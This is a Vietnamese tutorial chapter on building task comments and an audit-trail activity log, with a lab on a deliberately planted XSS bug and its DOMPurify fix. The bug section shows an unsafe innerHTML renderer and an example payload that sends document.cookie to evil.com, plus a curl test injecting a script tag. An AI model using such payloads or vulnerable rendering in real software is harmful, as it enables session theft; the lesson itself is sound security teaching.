Chương 10: Collaboration — Comments & Activity

"Lan: 'Tôi cần biết ai đã làm gì, khi nào. Activity log là must-have.' Hà: 'Và tôi cần test XSS trong comments — user có thể inject script không?'"
🎯 Mục tiêu
- Build comment system cho tasks
- Activity log (audit trail)
- XSS prevention
- 🐛 Bug #5: XSS in comment rendering
Phần 1: Database Schema (15 phút)
sql
-- Comments
CREATE TABLE comments (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
body TEXT NOT NULL CHECK (char_length(body) BETWEEN 1 AND 5000),
task_id UUID NOT NULL REFERENCES tasks(id) ON DELETE CASCADE,
author_id UUID NOT NULL REFERENCES profiles(id),
created_at TIMESTAMPTZ DEFAULT NOW(),
updated_at TIMESTAMPTZ DEFAULT NOW()
);
-- Activity Log
CREATE TABLE activities (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
action TEXT NOT NULL, -- 'created', 'updated', 'moved', 'commented'
entity_type TEXT NOT NULL, -- 'task', 'project', 'comment'
entity_id UUID NOT NULL,
actor_id UUID NOT NULL REFERENCES profiles(id),
metadata JSONB DEFAULT '{}',
created_at TIMESTAMPTZ DEFAULT NOW()
);
ALTER TABLE comments ENABLE ROW LEVEL SECURITY;
ALTER TABLE activities ENABLE ROW LEVEL SECURITY;Phần 2: Comment API (30 phút)
bash
antigravity "@cm-tdd Build comment system:
File: src/routes/comments.ts
Endpoints:
- POST /api/tasks/:taskId/comments — add comment
- GET /api/tasks/:taskId/comments — list comments (newest first)
- PUT /api/comments/:id — edit own comment
- DELETE /api/comments/:id — delete own comment
Requirements:
- Auth required
- Only comment author can edit/delete
- Auto-create activity log entry
- Sanitize HTML input (prevent XSS)
- TDD: write tests first"Phần 3: 🐛 Bug #5 — XSS Vulnerability (25 phút)
The Vulnerability
javascript
// 🐛 BUG: Rendering comment without sanitization
function renderComment(comment) {
const div = document.createElement('div')
div.innerHTML = comment.body // DANGEROUS! XSS vector!
return div
}
// Attack:
// User submits: <script>alert('hacked')</script>
// Or: <img onerror="fetch('https://evil.com/steal?cookie='+document.cookie)" src="x">Lab: XSS Attack Test
bash
# Test XSS
curl -X POST http://localhost:3000/api/tasks/$TASK_ID/comments \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"body": "<script>alert(document.cookie)</script>"}'Fix: Sanitize Input
typescript
// Install: npm install dompurify jsdom
import createDOMPurify from 'dompurify'
import { JSDOM } from 'jsdom'
const window = new JSDOM('').window
const DOMPurify = createDOMPurify(window)
function sanitizeHtml(dirty: string): string {
return DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'code', 'pre'],
ALLOWED_ATTR: []
})
}
// ✅ Safe rendering
function renderComment(comment) {
const div = document.createElement('div')
div.textContent = comment.body // Safe: textContent escapes HTML
return div
}Phần 4: Activity Log (20 phút)
typescript
// src/services/activity.ts
export async function logActivity(
action: string,
entityType: string,
entityId: string,
actorId: string,
metadata: Record<string, any> = {}
) {
await supabase.from('activities').insert({
action, entity_type: entityType,
entity_id: entityId, actor_id: actorId, metadata
})
}
// Usage in routes:
await logActivity('commented', 'task', taskId, req.user.id, {
comment_preview: body.substring(0, 100)
})Homework
- [ ] Comment CRUD working
- [ ] XSS prevention tested
- [ ] Activity log recording all actions
- [ ] Bug #5 fixed with test
Chương tiếp: File Upload & Supabase Storage →